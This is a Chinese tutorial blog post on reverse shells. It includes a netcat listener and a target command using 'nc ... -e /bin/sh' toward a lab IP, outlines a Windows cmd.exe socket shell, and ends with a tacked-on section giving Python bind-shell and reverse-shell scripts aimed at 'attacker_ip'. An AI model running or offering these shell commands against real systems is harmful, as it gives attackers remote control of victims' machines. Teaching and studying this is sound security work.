反向shell

介绍反向shell

反向shell是从被感染机器上发起一个连接,它提供攻击者shell访问被感染机器的权限。反向shell或者作为一个单独的恶意代码存在,或者作为一个复杂后门程序中的组件而存在。
反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行root命令。

利用nc实现反向shell

可以通过在两台机器上运行Netcat,来创建一个反向shell。
原理非常简单,攻击主机通过nc -l xx来监听一个端口,靶机主动连接攻击主机,攻击主机得到靶机的shell权限。

攻击主机:
ip:192.168.0.5
靶机:
ip:192.168.178.129

首先使用攻击主机监听一个端口,这里监听的是4444端口。

nc -lnvp 4444

在这里插入图片描述
之后靶机使用命令向攻击主机提供shell。

nc 192.168.0.5 4444 -e /bin/sh

在这里插入图片描述
回到攻击主机,成功建立连接,使用id和ls命令进行测试,已经得到了靶机的shell
在这里插入图片描述

利用windows编程实现反向shell

首先,靶机创建一个套接字连接攻击主机,然后,将这个套接字与cmd.exe标准流进行绑定,之后调用CreateProcess函数用隐藏窗口的方式创建cmd.exe程序。

### 反向Shell与Bind Shell的区别 在网络攻防领域,反向Shell和Bind Shell都是攻击者用来控制远程计算机的技术手段。 #### Bind Shell的工作原理 Bind Shell会在目标主机上开启一个监听端口等待来自攻击者的连接请求。一旦建立了TCP连接,攻击者就可以发送命令并接收响应。这种方式适用于从外部网络可以直接访问受害设备的情况[^1]。 #### 反向Shell的特点 相比之下,反向Shell则是由受感染的客户端主动发起对外部服务器(即攻击方)的连接尝试。这种机制特别适合于位于防火墙之后或处于NAT环境中的内部网络节点,因为这些位置通常不允许未经许可的入站流量进入。当成功建立会话后,攻击者同样能够执行任意指令并与之交互。 为了更直观地理解这两种技术之间的差异: | 特征 | Bind Shell | Reverse Shell | |------| | 连接方向 | 攻击者 -> 被害者 | 被害者 -> 攻击者 | | 防火墙穿越能力 | 较差 | 更好 | 下面给出简单的Python脚本用于演示如何创建基本形式的bind shell以及reverse shell(请注意这仅作为教育用途展示,并不应在未经授权的情况下使用) #### 创建Bind Shell (简化版) ```python import socket, subprocess, os def bind_shell(port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', port)) s.listen(5) conn, addr = s.accept() while True: command = conn.recv(1024).decode('utf-8') output = subprocess.getoutput(command) conn.send(output.encode()) if __name__ == '__main__': bind_shell(9999) # Listen on port 9999 ``` #### 实现Reverse Shell (简化版) ```python import socket, subprocess def reverse_shell(ip_address, port): connection = socket.create_connection((ip_address, port)) while True: command = connection.recv(1024).decode('utf-8') if 'terminate' in command.lower(): break result = subprocess.getoutput(command) connection.send(result.encode()) if __name__ == "__main__": reverse_shell("attacker_ip", 4444) # Connect to attacker's IP and port ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值